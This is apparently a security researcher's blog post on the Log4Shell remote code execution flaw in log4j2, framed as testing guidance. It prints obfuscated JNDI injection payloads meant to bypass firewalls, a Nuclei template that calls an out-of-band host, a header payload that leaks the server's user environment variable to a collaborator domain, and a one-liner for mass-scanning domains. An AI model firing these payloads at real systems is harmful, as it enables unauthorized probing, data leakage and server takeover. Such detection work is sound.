I’m Ahmed Salah Abdalhfaz (Elsfa7–110)
hello i am Ahmed Salah Abdalhfaz (Elsfa7-110)
السلام عليكم ورحمة الله وبركاته
A few hours ago, a 0-day exploit in the popular Java logging library log4j2
was discovered that results in Remote Code Execution (RCE) by logging a certain string.
Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. We’re calling it “Log4Shell” for short.
Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
As per Apache’s Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.
2.0 <= Apache log4j <= 2.14.1
Personally, I have several ways to exploit this vulnerability
Without going into depth, I will only teach you the ways by which you know if the application is infected or not
first thing you must using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:
${jndi:ldap://xxx.dnslog.cn/a}'
Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.
Now I’m going to check the vulnerability, but I’ll use Nuclei
After collecting many sources, I made a template that speeds up the process for us to quickly check
We also used methods to bypass the firewall
id: log4jshell-detect
info:
name: Log4j Detect for Logs
author: ELSFA7110
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/?test=${jndi:ldap://{{interactsh-url}}/a}"
- "{{BaseURL}}/?test=${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{interactsh-url}}/poc}"
- "{{BaseURL}}/?test=${${::-j}ndi:rmi://{{interactsh-url}}/ass}"
- "{{BaseURL}}/?test=${jndi:rmi://{{interactsh-url}}}"
- "{{BaseURL}}/?test=${${lower:jndi}:${lower:rmi}://{{interactsh-url}}/poc}"
- "{{BaseURL}}/?test=${${lower:${lower:jndi}}:${lower:rmi}://{{interactsh-url}}/poc}"
- "{{BaseURL}}/?test=${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{interactsh-url}}/poc}"
- "{{BaseURL}}/?test=${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{interactsh-url}}/poc}"
headers:
Host: "{{Host}}"
User-Agent: "Mozilla ${jndi:ldap://{{interactsh-url}}/a}"
matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
name: http
words:
- "http"
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
Here we have replaced the dnslog.cn
to interact.sh
to use this method of exploitation
First we collect all the subdomains or domains that you want to scan
you can make this with one line
subfinder -d test.com -silent -t 200 | httpx -silent -threads 200 | nuclei -t log4jshell.yaml
You can also use burp suite plugins to check this vulnerability
by ActiveScan++ and Log4j2Scan
use the handy Burp Proxy Match and Replace rules for finding #Log4Shell, while browsing targets. Pretty simple but effective.
for ex:
Referer: ${jndi:ldap://${env:user}.t3x1dvzl2q438a36qbrql778tzzpne.burpcollaborator.net/a}
i will use log4j-payload-generator is a plugin for woodpecker framework to produce log4 jndi injection vulnerability payload. At present, the following 5 types of payloads can be produced with one click.
by obfuscate methods
Please don’t forget to follow me on the Twitter to watch new blogs from me on https://twitter.com/Elsfa7110 and if you have any comment also send to me thanks. Feel free to connect with me if you have anything.
Presale & whitelist : Soldout